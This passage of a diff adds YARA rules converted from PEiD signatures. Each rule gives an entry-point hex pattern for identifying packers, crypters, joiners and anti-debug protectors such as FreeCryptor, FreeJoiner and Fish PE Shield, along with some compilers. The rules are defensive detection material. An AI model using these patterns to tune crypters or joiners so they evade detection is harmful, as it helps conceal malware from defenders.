+        $a = {E9 19 32 00 00 E9 7C 2A 00 00 E9 19 24 00 00 E9 FF 23 00 00 E9 1E 2E 00 00 E9 88 2E 00 00 E9 2C}
+    condition:
+        $a
+}
+
+rule PEiD_00701_E___________________
+{
+    meta:
+        description = "[Convert Base64 to ASCII RcOTw47CtcOYwrTDuCAtPiDDlMOCwrrDmsK3w6fCuMOf]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 56 57 0F 31 8B D8 0F 31 8B D0 2B D3 C1 EA 10 B8 ?? ?? ?? ?? 0F 6E C0 B8 ?? ?? ?? ?? 0F 6E C8 0F F5 C1 0F 7E C0 0F 77 03 C2 ?? ?? ?? ?? ?? FF E0}
+    condition:
+        $a
+}
+
+
+rule PEiD_00702_FACRYPT_v1_0_
+{
+    meta:
+        description = "[FACRYPT v1.0]"
+        ep_only = "true"
+    strings:
+        $a = {B9 ?? ?? B3 ?? 33 D2 BE ?? ?? 8B FE AC 32 C3 AA 49 43 32 E4 03 D0 E3}
+    condition:
+        $a
+}
+rule PEiD_00703_FakeNinja_v2_8__Anti_Debug_____Spirit_
+{
+    meta:
+        description = "[FakeNinja v2.8 (Anti-Debug) -> Spirit]"
+        ep_only = "false"
+    strings:
+        $a = {64 A1 18 00 00 00 EB 02 C3 11 8B 40 30 EB 01 0F 0F B6 40 02 83 F8 01 74 FE EB 01 E8 90 C0 FF FF EB 03 BD F4 B5 64 A1 30 00 00 00 0F B6 40 02 74 01 BA 74 E0 50 00 64 A1 30 00 00 00 83 C0 68 8B 00 EB 00 83 F8 70 74 CF EB 02 EB FE 90 90 90 0F 31 33 C9 03 C8 0F 31 2B C1 3D FF 0F 00 00 73 EA E8 08 00 00 00 C1 3D FF 0F 00 00 74 AA EB 07 E8 8B 40 30 EB 08 EA 64 A1 18 00 00 00 EB F2 90 90 90 BA ?? ?? ?? ?? FF E2 64 11 40 00 FF 35 84 11 40 00 E8 40 11 00 00 6A 00 6A 00 FF 35 70 11 40 00 FF 35 84 11 40 00 E8 25 11 00 00 FF}
+    condition:
+        $a
+}
+rule PEiD_00704_FakeNinja_v2_8____Spirit_
+{
+    meta:
+        description = "[FakeNinja v2.8 -> Spirit]"
+        ep_only = "false"
+    strings:
+        $a = {BA ?? ?? ?? ?? FF E2 64 11 40 00 FF 35 84 11 40 00 E8 40}
+    condition:
+        $a
+}
+rule PEiD_00705_FASM_1_5x_
+{
+    meta:
+        description = "[FASM 1.5x]"
+        ep_only = "false"
+    strings:
+        $a = {6A 00 FF 15 ?? ?? 40 00 A3 ?? ?? 40 00}
+    condition:
+        $a
+}
+
+rule PEiD_00706_fds0ft_c0m_pr0tect_v0_4b_
+{
+    meta:
+        description = "[fds0ft c0m pr0tect v0.4b]"
+        ep_only = "true"
+    strings:
+        $a = {8C CA 2E ?? ?? ?? ?? B4 30 8B ?? ?? ?? 8B ?? ?? ?? 8E DA A3 ?? ?? 8C ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? EB}
+    condition:
+        $a
+}
+
+rule PEiD_00707_fEaRzCrypter_v1_0____fEaRz_
+{
+    meta:
+        description = "[fEaRzCrypter v1.0 -> fEaRz]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC B9 09 00 00 00 6A 00 6A 00 49 75 ?? 53 56 57 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 BA ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B D8 85 DB 75 ?? 6A 00}
+    condition:
+        $a
+}
+
+rule PEiD_00708_File_Analyzer_Compiled_Datafile_Version_
+{
+    meta:
+        description = "[File Analyzer Compiled Datafile Version]"
+        ep_only = "false"
+    strings:
+        $a = {46 69 6C 65 20 41 6E 61 6C 79 7A 65 72 20 43 6F 6D 70 69 6C 65 64 20 44 61 74 61 66 69 6C 65 20 56 65 72 73 69 6F 6E}
+    condition:
+        $a
+}
+
+rule PEiD_00709_File_Analyzer_Extended_Datafile_Version_
+{
+    meta:
+        description = "[File Analyzer Extended Datafile Version]"
+        ep_only = "false"
+    strings:
+        $a = {23 03 45 58 54 44 ?? ?? 3A 03}
+    condition:
+        $a
+}
+
+rule PEiD_00710_File_Analyzer_Registration_file_v1_0_
+{
+    meta:
+        description = "[File Analyzer Registration file v1.0]"
+        ep_only = "false"
+    strings:
+        $a = {24 46 41 52 45 47 24 4D 2D ?? ?? ?? ?? 31}
+    condition:
+        $a
+}
+rule PEiD_00711_File_Analyzer_Registration_file_v1_1_
+{
+    meta:
+        description = "[File Analyzer Registration file v1.1]"
+        ep_only = "false"
+    strings:
+        $a = {24 46 41 52 45 47 24 45 4E 43 3D ?? 26 26 52 45 47 3D ?? 26 26 45 58 50 3D}
+    condition:
+        $a
+}
+
+rule PEiD_00712_FileShield_
+{
+    meta:
+        description = "[FileShield]"
+        ep_only = "true"
+    strings:
+        $a = {50 1E EB ?? 90 00 00 8B D8}
+    condition:
+        $a
+}
+
+rule PEiD_00713_Fish_PE_Shield_1_01____HellFish_
+{
+    meta:
+        description = "[Fish PE Shield 1.01 -> HellFish]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 83 C4 D0 53 56 57 8B 45 10 83 C0 0C 8B 00 89}
+    condition:
+        $a
+}
+rule PEiD_00714_Fish_PE_Shield_1_01____HellFish_
+{
+    meta:
+        description = "[Fish PE Shield 1.01 -> HellFish]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 83 C4 D0 53 56 57 8B 45 10 83 C0 0C 8B 00 89 45 DC 83 7D DC 00 75 08 E8 AD FF FF FF 89 45 DC E8 C1 FE FF FF 8B 10 03 55 DC 89 55 E4 83 C0 04 8B 10 89 55 FC 83 C0 04 8B 10 89 55 F4 83 C0 04 8B 10 89 55 F8 83 C0 04 8B 10 89 55 F0 83 C0 04 8B 10 89 55 EC 83 C0 04 8B 00 89 45 E8 8B 45 E4 8B 58 04 03 5D E4 8B FB 8B 45 E4 8B 30 4E 85 F6 72 2B 46 C7 45 E0 00 00 00 00 83 7B 04 00 74 14}
+    condition:
+        $a
+}
+
+rule PEiD_00715_Fish_PE_Shield_1_01____HellFish_
+{
+    meta:
+        description = "[Fish PE Shield 1.01 -> HellFish]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 12 FE FF FF C3 90 09 00 00 00 2C 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00716_Fish_PE_Shield_1_01____HellFish_
+{
+    meta:
+        description = "[Fish PE Shield 1.01 -> HellFish]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 12 FE FF FF C3 90 09 00 00 00 2C 00 00 00 ?? ?? ?? ?? C4 03 00 00 BC A0 00 00 00 40 01 00 ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 99 00 00 00 00 8A 00 00 00 10 00 00 28 88 00 00 40 ?? 4B 00 00 00 02 00 00 00 A0 00 00 18 01 00 00 40 ?? 4C 00 00 00 0C 00 00 00 B0 00 00 38 0A 00 00 40 ?? 4E 00 00 00 00 00 00 00 C0 00 00 40 39 00 00 40 ?? 4E 00 00 00 08 00 00 00 00 01 00 C8 06 00 00 40}
+    condition:
+        $a
+}
+
+rule PEiD_00717_Fish_PE_Shield_1_12_1_16____HellFish_
+{
+    meta:
+        description = "[Fish PE Shield 1.12/1.16 -> HellFish]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 83 C4 D0 53 56 57 8B 45 10 83 C0 0C 8B 00 89 45 DC}
+    condition:
+        $a
+}
+
+rule PEiD_00718_Fish_PE_Shield_1_12_1_16____HellFish_
+{
+    meta:
+        description = "[Fish PE Shield 1.12/1.16 -> HellFish]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 83 C4 D0 53 56 57 8B 45 10 83 C0 0C 8B 00 89 45 DC 83 7D DC 00 75 08 E8 BD FE FF FF 89 45 DC E8 E1 FD FF FF 8B 00 03 45 DC 89 45 E4 E8 DC FE FF FF 8B D8 BA 8E 4E 0E EC 8B C3 E8 2E FF FF FF 89 45 F4 BA 04 49 32 D3 8B C3 E8 1F FF FF FF 89 45 F8 BA 54 CA AF 91 8B C3 E8 10 FF FF FF 89 45 F0 BA AC 33 06 03 8B C3 E8 01 FF FF FF 89 45 EC BA 1B C6 46 79 8B C3 E8 F2 FE FF FF 89 45 E8 BA AA FC 0D 7C 8B C3 E8 E3 FE FF FF 89 45 FC 8B 45 E4 8B 58 04 03 5D E4 8B FB 8B 45 E4 8B 30 4E 85 F6 72 2B}
+    condition:
+        $a
+}
+
+rule PEiD_00719_Fish_PE_Shield_1_12_1_16____HellFish_
+{
+    meta:
+        description = "[Fish PE Shield 1.12/1.16 -> HellFish]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 EA FD FF FF FF D0 C3 8D 40 00 ?? 00 00 00 2C 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00720_Fish_PE_Shield_1_12_1_16____HellFish_
+{
+    meta:
+        description = "[Fish PE Shield 1.12/1.16 -> HellFish]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 EA FD FF FF FF D0 C3 8D 40 00 ?? 00 00 00 2C 00 00 00 ?? ?? ?? 00 ?? ?? 00 00 ?? ?? ?? 00 00 ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? 00 00 00 00 ?? ?? 00 ?? ?? 00 00 ?? 00 00 00 00 ?? ?? 00 00 10 00 00 ?? ?? ?? 00 40 ?? ?? ?? 00 00 ?? ?? 00 00 ?? ?? 00 ?? ?? ?? 00 40 ?? ?? ?? 00 00 ?? 00 00 00 ?? ?? 00 ?? ?? 00 00 40}
+    condition:
+        $a
+}
+
+rule PEiD_00721_Fish_PE_Shield_1_16____HellFish_
+{
+    meta:
+        description = "[Fish PE Shield 1.16 -> HellFish]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 EA FD FF FF FF D0 C3 8D 40 00 ?? 00 00 00 2C 00 00 00 ?? ?? ?? 00 ?? ?? 00 00 ?? ?? ?? 00 00 ?? ?? 00 ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? 00 00 00 00 ?? ?? 00 00 10 00 00 ?? ?? ?? 00 40 ?? ?? ?? 00 00 ?? ?? 00 00 ?? ?? 00 ?? ?? ?? 00 40 ?? ?? ?? 00 00 ?? 00 00 00 ?? ?? 00 ?? ?? 00 00 40}
+    condition:
+        $a
+}
+rule PEiD_00722_FishPE_V1_0X____hellfish___Sign_by_fly_
+{
+    meta:
+        description = "[FishPE V1.0X -> hellfish ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 ?? ?? ?? ?? C3 90 09 00 00 00 2C 00 00 00 ?? ?? ?? ?? C4 03 00 00 BC A0 00 00 00 40 01 00 ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 99 00 00 00 00 8A 00 00 00 10 00 00 ?? ?? 00 00 ?? ?? ?? ?? 00 00 02 00 00 00 A0 00 00 18 01 00 00 ?? ?? ?? ?? 00 00 0C 00 00 00 B0 00 00 38 0A 00 00 ?? ?? ?? ?? 00 00 00 00 00 00 C0 00 00 40 39 00 00 ?? ?? ?? ?? 00 00 08 00 00 00 00 01 00 C8 06 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00723_FishPE_V1_0X____hellfish_
+{
+    meta:
+        description = "[FishPE V1.0X -> hellfish]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 ?? ?? ?? ?? C3 90 09 00 00 00 2C 00 00 00 ?? ?? ?? ?? C4 03 00 00 BC A0 00 00 00 40 01 00 ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 99 00 00 00 00 8A 00 00 00 10 00 00 ?? ?? 00 00 ?? ?? ?? ?? 00 00 02 00 00 00 A0 00 00 18 01 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00724_FixupPak_1_20_
+{
+    meta:
+        description = "[FixupPak 1.20]"
+        ep_only = "false"
+    strings:
+        $a = {55 E8 00 00 00 00 5D 81 ED ?? ?? 00 00 BE 00 ?? 00 00 03 F5 BA 00 00 ?? ?? 2B D5 8B DD 33 C0 AC 3C 00 74 3D 3C 01 74 0E 3C 02 74 0E 3C 03 74 0D 03 D8 29 13 EB E7 66 AD EB F6 AD EB F3 AC 0F B6 C8 3C 00 74 06 3C 01 74 09 EB 0A 66 AD 0F B7 C8 EB 03 AD 8B C8}
+    condition:
+        $a
+}
+
+rule PEiD_00725_FixupPak_v1_20_
+{
+    meta:
+        description = "[FixupPak v1.20]"
+        ep_only = "true"
+    strings:
+        $a = {55 E8 00 00 00 00 5D 81 ED ?? ?? 00 00 BE 00 ?? 00 00 03 F5 BA 00 00 ?? ?? 2B D5 8B DD 33 C0 AC 3C 00 74 3D 3C 01 74 0E 3C 02 74 0E 3C 03 74 0D 03 D8 29 13 EB E7 66 AD EB F6 AD EB F3 AC 0F B6 C8 3C 00 74 06 3C 01 74 09 EB 0A 66 AD 0F B7 C8 EB 03 AD 8B C8 AC 0F B6 C0 03 D8 29 13 E2 FA EB BC 8D 85 ?? ?? 00 00 5D FF E0 00 00 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+rule PEiD_00726_Fly_Crypter_1_0____ut1lz_
+{
+    meta:
+        description = "[Fly-Crypter 1.0 -> ut1lz]"
+        ep_only = "false"
+    strings:
+        $a = {53 56 57 55 BB 2C ?? ?? 44 BE 00 30 44 44 BF 20 ?? ?? 44 80 7B 28 00 75 16 83 3F 00 74 11 8B 17 89 D0 33 D2 89 17 8B E8 FF D5 83 3F 00 75 EF 83 3D 04 30 44 44 00 74 06 FF 15 58 30 44 44 80 7B 28 02 75 0A 83 3E 00 75 05 33 C0 89 43 0C FF 15 20 30 44 44 80 7B 28 01 76 05 83 3E 00 74 22 8B 43 10 85 C0 74 1B FF 15 18 30 44 44 8B 53 10 8B 42 10 3B 42 04 74 0A 85 C0 74 06 50 E8 2F FA FF FF FF 15 24 30 44 44 80 7B 28 01 75 03 FF 53 24 80 7B 28 00 74 05 E8 35 FF FF FF 83 3B 00 75 17 83 3D 10 ?? ?? 44 00 74 06 FF 15 10 ?? ?? 44 8B 06 50 E8 51 FA FF FF 8B 03 56 8B F0 8B FB B9 0B 00 00 00 F3 A5 5E E9 73 FF FF FF 5D 5F 5E 5B C3 A3 00 30 44 44 E8 26 FF FF FF C3}
+    condition:
+        $a
+}
+
+rule PEiD_00727_Fly_Crypter_1_0____ut1lz_
+{
+    meta:
+        description = "[Fly-Crypter 1.0 -> ut1lz]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 F0 53 B8 18 22 44 44 E8 7F F7 FF FF E8 0A F1 FF FF B8 09 00 00 00 E8 5C F1 FF FF 8B D8 85 DB 75 05 E8 85 FD FF FF 83 FB 01 75 05 E8 7B FD FF FF 83 FB 02 75 05 E8 D1 FD FF FF 83 FB 03 75 05 E8 87 FE FF FF 83 FB 04 75 05 E8 5D FD FF FF 83 FB 05 75 05 E8 B3 FD FF FF 83 FB 06 75 05 E8 69 FE FF FF 83 FB 07 75 05 E8 5F FE FF FF 83 FB 08 75 05 E8 95 FD FF FF 83 FB 09 75 05 E8 4B FE FF FF 5B E8 9D F2 FF FF 90}
+    condition:
+        $a
+}
+
+rule PEiD_00728_Free_Pascal_0_99_10_
+{
+    meta:
+        description = "[Free Pascal 0.99.10]"
+        ep_only = "false"
+    strings:
+        $a = {E8 00 6E 00 00 55 89 E5 8B 7D 0C 8B 75 08 89 F8 8B 5D 10 29}
+    condition:
+        $a
+}
+
+rule PEiD_00729_Free_Pascal_1_06_
+{
+    meta:
+        description = "[Free Pascal 1.06]"
+        ep_only = "false"
+    strings:
+        $a = {C6 05 ?? ?? 40 00 ?? E8 ?? ?? 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00730_Free_Pascal_v0_99_10_
+{
+    meta:
+        description = "[Free Pascal v0.99.10]"
+        ep_only = "true"
+    strings:
+        $a = {?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? E8 00 6E 00 00 55 89 E5 8B 7D 0C 8B 75 08 89 F8 8B 5D 10 29}
+    condition:
+        $a
+}
+
+rule PEiD_00731_Free_Pascal_v1_0_10__win32_console__
+{
+    meta:
+        description = "[Free Pascal v1.0.10 (win32 console)]"
+        ep_only = "false"
+    strings:
+        $a = {C6 05 ?? ?? ?? 00 01 E8 ?? ?? 00 00 C6 05 ?? ?? ?? 00 00 E8 ?? ?? 00 00 50 E8 00 00 00 00 FF 25 ?? ?? ?? 00 55 89 E5 ?? EC}
+    condition:
+        $a
+}
+
+rule PEiD_00732_Free_Pascal_v1_0_10__win32_GUI__
+{
+    meta:
+        description = "[Free Pascal v1.0.10 (win32 GUI)]"
+        ep_only = "false"
+    strings:
+        $a = {C6 05 ?? ?? ?? 00 00 E8 ?? ?? 00 00 50 E8 00 00 00 00 FF 25 ?? ?? ?? 00 55 89 E5}
+    condition:
+        $a
+}
+
+rule PEiD_00733_FreeBASIC_0_16b_
+{
+    meta:
+        description = "[FreeBASIC 0.16b]"
+        ep_only = "false"
+    strings:
+        $a = {55 89 E5 83 EC 08 C7 04 24 01 00 00 00 FF 15 ?? ?? ?? 00 E8 88 FF FF FF 89 EC 31 C0 5D C3 89 F6 55 89 E5 83 EC 08 C7 04 24 02 00 00 00 FF 15 ?? ?? ?? 00 E8 68 FF FF FF 89 EC 31 C0 5D C3 89 F6 55 89 E5 83 EC 08 8B 45 08 89 04 24 FF 15 ?? ?? ?? 00 89 EC 5D}
+    condition:
+        $a
+}
+
+rule PEiD_00734_FreeBASIC_0_16b_
+{
+    meta:
+        description = "[FreeBASIC 0.16b]"
+        ep_only = "true"
+    strings:
+        $a = {55 89 E5 83 EC 08 C7 04 24 01 00 00 00 FF 15 ?? ?? ?? 00 E8 88 FF FF FF 89 EC 31 C0 5D C3 89 F6 55 89 E5 83 EC 08 C7 04 24 02 00 00 00 FF 15 ?? ?? ?? 00 E8 68 FF FF FF 89 EC 31 C0 5D C3 89 F6 55 89 E5 83 EC 08 8B 45 08 89 04 24 FF 15 ?? ?? ?? 00 89 EC 5D C3 8D 76 00 8D BC 27 00 00 00 00 55 89 E5 83 EC 08 8B 45 08 89 04 24 FF 15 ?? ?? ?? 00 89 EC 5D C3 90 90 90 90 90 90 90 90 90 90}
+    condition:
+        $a
+}
+
+rule PEiD_00735_FreeBASIC_v0_11_
+{
+    meta:
+        description = "[FreeBASIC v0.11]"
+        ep_only = "true"
+    strings:
+        $a = {E8 ?? ?? 00 00 E8 01 00 00 00 C3 55 89 E5}
+    condition:
+        $a
+}
+
+rule PEiD_00736_FreeCryptor_0_1__build_001____GlOFF_
+{
+    meta:
+        description = "[FreeCryptor 0.1 (build 001)-> GlOFF]"
+        ep_only = "false"
+    strings:
+        $a = {8B 04 24 40 90 83 C0 07 80 38 90 90 74 02 EB FF 68 26 ?? ?? 00 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 FF E4 90 8B 04 24 64 A3 00 00 00 00 8B 64 24 08 90 83 C4 08}
+    condition:
+        $a
+}
+rule PEiD_00737_FreeCryptor_0_1__build_002_____GlOFF_
+{
+    meta:
+        description = "[FreeCryptor 0.1 (build 002) -> GlOFF]"
+        ep_only = "false"
+    strings:
+        $a = {8B 04 24 40 90 83 C0 07 80 38 90 90 74 02 EB FF 90 68 27 ?? ?? 00 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 FF E4 90 8B 04 24 64 A3 00 00 00 00 8B 64 24 08 90 83 C4 08}
+    condition:
+        $a
+}
+
+rule PEiD_00738_FreeCryptor_0_2__build_002_____GlOFF_
+{
+    meta:
+        description = "[FreeCryptor 0.2 (build 002) -> GlOFF]"
+        ep_only = "false"
+    strings:
+        $a = {33 D2 90 1E 68 1B ?? ?? ?? 0F A0 1F 8B 02 90 50 54 8F 02 90 90 8E 64 24 08 FF E2 58 50 33 D2 52 83 F8 01 9B 40 8A 10 89 14 24 90 D9 04 24 90 D9 FA D9 5C 24 FC 8B 5C 24 FC 81 F3 C2 FC 1D 1C 75 E3 74 01 62 FF D0 90 5A 33 C0 8B 54 24 08 90 64 8F 00 90 83 C2 08 52 5C 5A}
+    condition:
+        $a
+}
+
+rule PEiD_00739_FreeJoiner_1_5_1____GlOFF_
+{
+    meta:
+        description = "[FreeJoiner 1.5.1 -> GlOFF]"
+        ep_only = "true"
+    strings:
+        $a = {90 87 FF 90 90 B9 2B 00 00 00 BA 07 10 40 00 83 C2 03 90 87 FF 90 90 B9 04 00 00 00 90 87 FF 90 33 C9 C7 05 09 30 40 00 00 00 00 00 68 00 01 00 00 68 21 30 40 00 6A 00 E8 B7 02 00 00 6A 00 68 80 00 00 00 6A 03 6A 00 6A 00 68 00 00 00 80 68 21 30 40 00 E8 8F 02 00 00 A3 19 30 40 00 90 87 FF 90 8B 15 09 30 40 00 81 C2 04 01 00 00 F7 DA 6A 02 6A 00 52}
+    condition:
+        $a
+}
+
+rule PEiD_00740_FreeJoiner_1_5_2__Stub_engine_1_6_____GlOFF_
+{
+    meta:
+        description = "[FreeJoiner 1.5.2 (Stub engine 1.6) -> GlOFF]"
+        ep_only = "true"
+    strings:
+        $a = {E8 46 FD FF FF 50 E8 0C 00 00 00 FF 25 08 20 40 00 FF 25 0C 20 40 00 FF 25 10 20 40 00 FF 25 14 20 40 00 FF 25 18 20 40 00 FF 25 1C 20 40 00 FF 25 20 20 40 00 FF 25 24 20 40 00 FF 25 28 20 40 00 FF 25 00 20 40 00}
+    condition:
+        $a
+}
+
+rule PEiD_00741_FreeJoiner_1_5_3__Stub_engine_1_7_____GlOFF_
+{
+    meta:
+        description = "[FreeJoiner 1.5.3 (Stub engine 1.7) -> GlOFF]"
+        ep_only = "true"
+    strings:
+        $a = {E8 33 FD FF FF 50 E8 0D 00 00 00 CC FF 25 08 20 40 00 FF 25 0C 20 40 00 FF 25 10 20 40 00 FF 25 14 20 40 00 FF 25 18 20 40 00 FF 25 1C 20 40 00 FF 25 20 20 40 00 FF 25 24 20 40 00 FF 25 28 20 40 00 FF 25 00 20 40 00}
+    condition:
+        $a
+}
+rule PEiD_00742_FreeJoiner_1_5_3__Stub_engine_1_7_1_____GlOFF_
+{
+    meta:
+        description = "[FreeJoiner 1.5.3 (Stub engine 1.7.1) -> GlOFF]"
+        ep_only = "false"
+    strings:
+        $a = {86 D6 90 86 F2 B9 93 60 08 FE 90 86 D6 90 86 F2 B9 9D 13 45 01 86 D6 90 86 F2 81 C2 93 60 08 FE 33 C9 B9 30 74 4D FF 86 D6 90 86 F2 33 C9 C7 05 B4 17 40 00 00 00 00 00 90 68 00 01 00 00 68 D1 17 40 00 6A 00 E8 CE 02 00 00 90 33 C9 86 D6 90 86 F2 6A 00 68 80 00 00 00 6A 03 6A 00 6A 00 68 00 00 00 80 68 D1 17 40 00 E8 9E 02 00 00 A3 CD 17 40 00 86 D6}
+    condition:
+        $a
+}
+
+rule PEiD_00743_FreeJoiner_1_5_3__Stub_engine_1_7_1_____GlOFF_
+{
+    meta:
+        description = "[FreeJoiner 1.5.3 (Stub engine 1.7.1) -> GlOFF]"
+        ep_only = "true"
+    strings:
+        $a = {E8 02 FD FF FF 6A 00 E8 0D 00 00 00 CC FF 25 80 10 40 00 FF 25 84 10 40 00 FF 25 88 10 40 00 FF 25 8C 10 40 00 FF 25 90 10 40 00 FF 25 94 10 40 00 FF 25 98 10 40 00 FF 25 9C 10 40 00 FF 25 A0 10 40 00 FF 25 A8 10 40 00}
+    condition:
+        $a
+}
+
+rule PEiD_00744_FreeJoiner_Small__build_014_020_____GlOFF_
+{
+    meta:
+        description = "[FreeJoiner Small (build 014-020) -> GlOFF]"
+        ep_only = "true"
+    strings:
+        $a = {E8 ?? ?? FF FF 6A 00 E8 0D 00 00 00 CC FF 25 78 10 40 00 FF 25 7C 10 40 00 FF 25 80 10 40 00 FF 25 84 10 40 00 FF 25 88 10 40 00 FF 25 8C 10 40 00 FF 25 90 10 40 00 FF 25 94 10 40 00 FF 25 98 10 40 00 FF 25 9C 10 40 00 FF 25 A0 10 40 00 FF 25 A4 10 40 00 FF 25 AC 10 40 00}
+    condition:
+        $a
+}
+
+rule PEiD_00745_FreeJoiner_Small__build_014_015_____GlOFF_
+{
+    meta:
+        description = "[FreeJoiner Small (build 014/015) -> GlOFF]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 83 C4 F0 86 FF 68 00 01 00 00 68 F8 13 40 00 6A 00 E8 F3 01 00 00 8A C0 6A 00 68 80 00 00 00 6A 03 6A 00 6A 00 68 00 00 00 80 68 F8 13 40 00 E8 C9 01 00 00 A3 E0 13 40 00 40 0F 84 8B 01 00 00 90 90 90 90 90 6A 02 6A 00 6A FB FF 35 E0 13 40 00 E8 D1 01 00 00 86 FF 6A 00 8D 45 FC 50 6A 04 8D 45 F8 50 FF 35 E0 13 40 00 E8 B2 01 00 00 8A C0 6A 00 8D 45 FC 50 6A 01 8D 45 F3 50}
+    condition:
+        $a
+}
+rule PEiD_00746_FreeJoiner_Small__build_014_015_____GlOFF_
+{
+    meta:
+        description = "[FreeJoiner Small (build 014/015) -> GlOFF]"
+        ep_only = "true"
+    strings:
+        $a = {E8 0E FE FF FF 6A 00 E8 0D 00 00 00 CC FF 25 78 10 40 00 FF 25 7C 10 40 00 FF 25 80 10 40 00 FF 25 84 10 40 00 FF 25 88 10 40 00 FF 25 8C 10 40 00 FF 25 90 10 40 00 FF 25 94 10 40 00 FF 25 98 10 40 00 FF 25 9C 10 40 00 FF 25 A0 10 40 00 FF 25 A4 10 40 00 FF 25 AC 10 40 00}
+    condition:
+        $a
+}
+
+rule PEiD_00747_FreeJoiner_Small__build_017_____GlOFF_
+{
+    meta:
+        description = "[FreeJoiner Small (build 017) -> GlOFF]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 83 C4 F0 86 FF 86 DB 86 FF 68 00 01 00 00 68 18 20 40 00 6A 00 E8 FF 01 00 00 8A E4 6A 00 68 80 00 00 00 6A 03 6A 00 6A 00 68 00 00 00 80 68 18 20 40 00 E8 D5 01 00 00 A3 00 20 40 00 40 0F 84 97 01 00 00 8A E4 6A 02 6A 00 6A FB FF 35 00 20 40 00 E8 E0 01 00 00 86 FF 86 DB 86 FF 6A 00 8D 45 FC 50 6A 04 8D 45 F8 50 FF 35 00 20 40 00 E8 BD 01 00 00 8A E4 6A 00 8D 45 FC 50 6A 01 8D 45 F3 50}
+    condition:
+        $a
+}
+
+rule PEiD_00748_FreeJoiner_Small__build_017_____GlOFF_
+{
+    meta:
+        description = "[FreeJoiner Small (build 017) -> GlOFF]"
+        ep_only = "true"
+    strings:
+        $a = {E8 FE FD FF FF 6A 00 E8 0D 00 00 00 CC FF 25 78 10 40 00 FF 25 7C 10 40 00 FF 25 80 10 40 00 FF 25 84 10 40 00 FF 25 88 10 40 00 FF 25 8C 10 40 00 FF 25 90 10 40 00 FF 25 94 10 40 00 FF 25 98 10 40 00 FF 25 9C 10 40 00 FF 25 A0 10 40 00 FF 25 A4 10 40 00 FF 25 AC 10 40 00}
+    condition:
+        $a
+}
+
+rule PEiD_00749_FreeJoiner_Small__build_023_____GlOFF_
+{
+    meta:
+        description = "[FreeJoiner Small (build 023) -> GlOFF]"
+        ep_only = "true"
+    strings:
+        $a = {E8 E1 FD FF FF 6A 00 E8 0C 00 00 00 FF 25 78 10 40 00 FF 25 7C 10 40 00 FF 25 80 10 40 00 FF 25 84 10 40 00 FF 25 88 10 40 00 FF 25 8C 10 40 00 FF 25 90 10 40 00 FF 25 94 10 40 00 FF 25 98 10 40 00 FF 25 9C 10 40 00 FF 25 A0 10 40 00 FF 25 A4 10 40 00 FF 25 AC 10 40 00}
+    condition:
+        $a
+}
+rule PEiD_00750_FreeJoiner_Small__build_029_____GlOFF_
+{
+    meta:
+        description = "[FreeJoiner Small (build 029) -> GlOFF]"
+        ep_only = "true"
+    strings:
+        $a = {50 32 C4 8A C3 58 E8 DE FD FF FF 6A 00 E8 0D 00 00 00 CC FF 25 78 10 40 00 FF 25 7C 10 40 00 FF 25 80 10 40 00 FF 25 84 10 40 00 FF 25 88 10 40 00 FF 25 8C 10 40 00 FF 25 90 10 40 00 FF 25 94 10 40 00 FF 25 98 10 40 00 FF 25 9C 10 40 00 FF 25 A0 10 40 00 FF 25 A4 10 40 00 FF 25 AC 10 40 00}
+    condition:
+        $a
+}
+
+rule PEiD_00751_FreeJoiner_Small__build_031_032_____GlOFF_
+{
+    meta:
+        description = "[FreeJoiner Small (build 031/032) -> GlOFF]"
+        ep_only = "true"
+    strings:
